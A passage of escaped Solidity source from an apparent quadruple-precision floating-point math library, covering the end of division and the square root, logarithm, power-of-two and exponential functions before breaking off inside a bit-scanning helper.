(x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000002C5C85FC) >>\\n 128;\\n if (xSignifier & 0x20000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000162E42FD) >>\\n 128;\\n if (xSignifier & 0x10000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000B17217E) >>\\n 128;\\n if (xSignifier & 0x8000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000058B90BE) >>\\n 128;\\n if (xSignifier & 0x4000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000002C5C85E) >>\\n 128;\\n if (xSignifier & 0x2000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000162E42E) >>\\n 128;\\n if (xSignifier & 0x1000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000B17216) >>\\n 128;\\n if (xSignifier & 0x800000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000058B90A) >>\\n 128;\\n if (xSignifier & 0x400000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000002C5C84) >>\\n 128;\\n if (xSignifier & 0x200000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000162E41) >>\\n 128;\\n if (xSignifier & 0x100000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000B1720) >>\\n 128;\\n if (xSignifier & 0x80000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000058B8F) >>\\n 128;\\n if (xSignifier & 0x40000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000002C5C7) >>\\n 128;\\n if (xSignifier & 0x20000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000162E3) >>\\n 128;\\n if (xSignifier & 0x10000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000B171) >>\\n 128;\\n if (xSignifier & 0x8000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000058B8) >>\\n 128;\\n if (xSignifier & 0x4000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000002C5B) >>\\n 128;\\n if (xSignifier & 0x2000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000162D) >>\\n 128;\\n if (xSignifier & 0x1000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000B16) >>\\n 128;\\n if (xSignifier & 0x800 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000058A) >>\\n 128;\\n if (xSignifier & 0x400 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000002C4) >>\\n 128;\\n if (xSignifier & 0x200 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000161) >>\\n 128;\\n if (xSignifier & 0x100 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000000000B0) >>\\n 128;\\n if (xSignifier & 0x80 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000057) >>\\n 128;\\n if (xSignifier & 0x40 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000002B) >>\\n 128;\\n if (xSignifier & 0x20 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000015) >>\\n 128;\\n if (xSignifier & 0x10 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000000000000A) >>\\n 128;\\n if (xSignifier & 0x8 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000004) >>\\n 128;\\n if (xSignifier & 0x4 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000000000001) >>\\n 128;\\n\\n if (!xNegative) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent += 0x3FFF;\\n } else if (resultExponent <= 0x3FFE) {\\n resultSignifier =\\n (resultSignifier >> 15) &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n resultExponent = 0x3FFF - resultExponent;\\n } else {\\n resultSignifier =\\n resultSignifier >>\\n (resultExponent - 16367);\\n resultExponent = 0;\\n }\\n\\n return\\n bytes16(uint128((resultExponent << 112) | resultSignifier));\\n }\\n }\\n }\\n\\n /**\\n * Calculate e^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function exp(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return pow_2(mul(x, 0x3FFF71547652B82FE1777D0FFDA0D23A));}\\n }\\n\\n /**\\n * Get index of the most significant non-zero bit in binary representation of\\n * x. Reverts if x is zero.\\n *\\n * @return index of the most significant non-zero bit in binary representation\\n * of x\\n */\\n function mostSignificantBit(uint256 x) private pure returns (uint256) {\\n unchecked {\\n require(x > 0);\\n\\n uint256 result = 0;\\n\\n if (x >= 0x100000000000000000000000000000000) {\\n x >>= 128;\\n result += 128;\\n }\\n if (x >= 0x10000000000000000) {\\n x >>= 64;\\n result += 64;\\n }\\n if (x >= 0x100000000) {\\n x >>= 